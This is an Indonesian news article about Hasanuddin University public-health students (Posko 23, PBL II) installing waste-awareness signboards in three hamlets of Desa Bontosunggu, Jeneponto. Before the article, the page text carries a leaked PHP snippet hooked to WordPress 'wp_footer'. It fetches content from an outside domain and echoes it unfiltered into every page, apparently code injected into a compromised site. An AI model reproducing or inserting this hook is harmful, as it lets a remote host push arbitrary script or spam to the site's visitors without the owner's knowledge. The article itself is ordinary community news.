function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Kolaborasi Posko 23 PBL II FKM Unhas dan Warga untuk Tingkatkan Kesadaran Lingkungan dengan Pemasangan Papan Wicara di Desa Bontosunggu - Suluh Nusantara

Home / Uncategorized

Selasa, 28 Januari 2025 - 16:14 WIB

Kolaborasi Posko 23 PBL II FKM Unhas dan Warga untuk Tingkatkan Kesadaran Lingkungan dengan Pemasangan Papan Wicara di Desa Bontosunggu

Jeneponto, 28 Januari 2025 – Dalam rangka mendukung pencapaian Sustainable Development Goals (SDGs), khususnya tujuan ke-11 (Sustainable Cities and Communities) dan ke-12 (Responsible Consumption and Production), Posko 23 Praktik Belajar Lapangan (PBL) II Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) melaksanakan pemasangan papan wicara edukatif di tiga dusun, yaitu Dusun Kampung Toa, Dusun Kalumpang Barat 2, dan Dusun Kampoa, Desa Bontosunggu, Kecamatan Tamalatea, Kabupaten Jeneponto. Kegiatan ini dilaksanakan pada Selasa, 28 Januari 2025, pukul 15.30-17.20 WITA sebagai bentuk intervensi edukasi masyarakat mengenai dampak sampah terhadap lingkungan serta pentingnya pengelolaan sampah yang berkelanjutan.             

Tim Posko 23 PBL II FKM Unhas terdiri dari seorang Dosen Supervisor, St. Rosmanely, SKM., MKM., dan enam mahasiswa dari berbagai departemen: Nur Alisa Rahim (Kesehatan Lingkungan), Inayah Nur Rahmaniyah (Keselamatan dan Kesehatan Kerja), Isni Apriana (Epidemiologi), Fitri Siska Busdir (Administrasi dan Kebijakan Kesehatan), Muhammad Azizul Hakim (Manajemen Rumah Sakit), dan Ahmad Khairul Aqila (Promosi Kesehatan dan Ilmu Perilaku).

Baca Juga  Mahasiswa PBL II FKM Unhas Posko 27 Edukasi Cegah Stunting Melalui Program 'MAMA CERMAT' di Desa Turatea

Program ini dirancang untuk meningkatkan kesadaran masyarakat tentang bahaya sampah yang tidak terkelola dengan baik, seperti pencemaran tanah, air, dan udara, yang dapat berdampak pada kesehatan dan kualitas hidup masyarakat setempat. Papan wicara yang dipasang berisi informasi visual dan teks yang mudah dipahami, mencakup bahaya sampah plastik, pentingnya pengurangan sampah, dan langkah-langkah sederhana dalam pengelolaan sampah rumah tangga.

Koordinator Posko 23 PBL II, Nur Alisa Rahim, menjelaskan bahwa pemasangan papan wicara ini bertujuan untuk memberikan edukasi secara berkelanjutan kepada masyarakat di tiga dusun tersebut. “Kegiatan ini merupakan bagian dari dukungan kami terhadap target SDGs, terutama dalam menciptakan permukiman yang berkelanjutan, serta meningkatkan kesadaran masyarakat akan pentingnya pengelolaan sampah untuk melindungi lingkungan,” ujarnya.

Pemasangan papan wicara ini turut melibatkan masyarakat setempat, mulai dari pemilihan lokasi strategis hingga pada proses pemasangan papan wicara. Hal ini dilakukan untuk memastikan pesan edukasi dapat dijangkau oleh sebanyak mungkin warga. Salah satu warga Dusun Kampung Toa, Pak H. Makele, menyampaikan apresiasinya terhadap inisiatif ini. “Kami sering melihat sampah berserakan di sekitar dusun, terutama plastik. Semoga papan ini bisa mengingatkan kami untuk lebih peduli terhadap lingkungan,” katanya.

Baca Juga  Mahasiswa FKM Unhas Angkatan 2023 Melaksanakan PBL I di Desa Marioritengnga: Identifikasi dan Penentuan Prioritas Masalah Kesehatan Masyarakat Melalui Pendekatan Partisipatif

Melalui program ini, diharapkan masyarakat dapat meningkatkan kesadaran dan mulai menerapkan langkah-langkah kecil untuk mengelola sampah, seperti memilah sampah organik dan anorganik, memanfaatkan sampah sebagai kompos, atau mendaur ulang. Selain itu, program ini juga bertujuan mendukung target SDGs 3 (Good Health and Well-being), dengan mendorong lingkungan yang lebih bersih dan sehat untuk mengurangi risiko penyakit.

Dengan intervensi ini, Posko 23 PBL II FKM Unhas berharap dapat berkontribusi pada terciptanya masyarakat yang lebih peduli lingkungan, sehingga tercapai keseimbangan antara kebutuhan manusia dan kelestarian lingkungan. Program ini juga menjadi langkah awal dalam membangun budaya pengelolaan sampah yang lebih bertanggung jawab dan berkelanjutan.

Share :

Baca Juga

Uncategorized

FKM Unhas Rayakan Dies Natalis ke-43 dengan Edukasi Kreatif: Literasi Kesehatan Melalui Komik Cegah Kecanduan Game Online

Uncategorized

Generasi Cerdas, Masa Depan Berkualitas: Orang Tua di Kelurahan Tonrokassi Barat Dibekali Pemahaman Terkait Pernikahan Dini

Uncategorized

Penyuluhan Bahaya Merokok, Upaya Pencegahan serta Kiat Berhenti Merokok pada Siswa SMKN 1 Sinjai.

Uncategorized

POSKO 24 PBL II FIKM UNHAS SUKSES GELAR SEMINAR AKHIR: INTERVENSI KESEHATAN MASYARAKAT UNTUK MASA DEPAN YANG LEBIH SEHAT

Uncategorized

Langkah Kecil, Dampak Besar: Sinergi Mahasiswa dan Puskesmas Takalala Mewujudkan Akses Kesehatan yang Lebih Dekat dan Merata bagi Warga Desa Congko

Uncategorized

Prof. Marc Bruijnzeels Tekankan Pendekatan Population Health Management sebagai Solusi Tantangan Sistem Kesehatan

Uncategorized

Seminar Awal PBL III Posko 14: Upaya Evaluasi Keberlanjutan Program Intervensi Kesehatan di Desa Tombo-Tombolo, Kecamatan Bangala, Kabupaten Jeneponto

Uncategorized

Tingkatkan Kesehatan Ibu dan Bayi, Posko 14 PBL 2 FKM Unhas Gelar Edukasi Pentingnya Imunisasi Ibu Hamil di Desa Tombo-Tombolo